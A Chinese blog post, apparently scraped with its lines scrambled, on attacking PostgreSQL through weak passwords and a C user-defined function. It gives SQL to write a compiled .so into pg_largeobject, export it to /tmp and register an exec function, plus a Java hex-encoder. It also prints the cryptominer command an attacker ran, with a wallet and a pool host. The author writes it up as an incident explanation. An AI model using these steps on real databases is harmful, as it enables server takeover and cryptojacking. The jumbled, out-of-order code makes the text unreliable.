postgresql 弱口令 UDF 攻击

  • 时间:
  • 浏览:1

    SET_VARSIZE(new_text, new_text_size);

#include "stdlib.h"

#include "postgres.h"

#include <string.h>

#include "utils/geo_decls.h"

#ifdef PG_MODULE_MAGIC

float8 *

    return result;

insert into pg_largeobject (loid,pageno,data) values(390334,0,decode(''FFXXXXXXXXXXXXX....','hex'))

CREATE or replace FUNCTION exec(integer) RETURNS integer

     AS '/tmp/cmd.so', 'exec'

     LANGUAGE C STRICT;

执行自定义函数cmd.c的exec法子:

Point *

附:

public static String byteToArray(byte[] data){  

   String result="";  

   for (int i = 0; i < data.length; i++) {  

   

       result+=Integer.toHexString((data[i] & 0xFF) | 0x80).toUpperCase().substring(1, 3);

       if((i+1)%2048==0){

    result+="\r\n";

    }

   }  

   return result;  

}  

public static void main(String[] args) throws Exception {

byte[] data=FileUtils.readFileToByteArray(new File("C:\\Users\\martin\\Downloads\\package\\libtest.so"));



String result=byteToArray(data);

System.out.println(result);

}

text *

参考:https://www.postgresql.org/docs/9.5/static/xfunc-c.html

select lo_creat(-1);

delete from pg_largeobject where loid=390334

select * from pg_largeobject where loid=390334

/* by reference, variable length */

通过sql命令,将cmd.so 导出到 /tmp 目录下

都还都可以 在法子中执行启动线程池等,postgres许多人公司2台阿里云服务器被人用这些 法子 放了挖矿线程池原应cpu占用率80%,研究了一天搞清楚了原理,解决法子将postgresql密码修改比较复杂

/* by reference, fixed length */

2.UDF  自定义函数,本地首先编译制作 so 文件,并上传到服务器

黑客启动的挖矿线程池执行线程池:

1.首先通过端口扫描到弱口令 postgresql 账号密码

cmd2.c:

SELECT lo_export(390334, '/tmp/cmd.so');   //导出 到 /tmp 目录

    new_point->x = pointx->x;

    return new_point;

/tmp/iftghlv -c x -M 

stratum+tcp://49rR8E9A3CZN2jdNpJK4NMLYKCM9TLbSEAB4m9FxLgXZC4pvz6mWfxK6NRHv9Y3C3Xa9nqRLjUUHfU7werrSne1DP3Ufgw2:x@xmr.crypto-pool.fr:3333/xmr

/* by value */

text *

创建函数:

java工具: 将cmd.so 二进制文件做成16进制字符串,每行<=2kB

 gcc cmd2.c -I`pg_config --includedir-server` -fPIC -shared -o cmd.so

    *result = *arg + 1.0;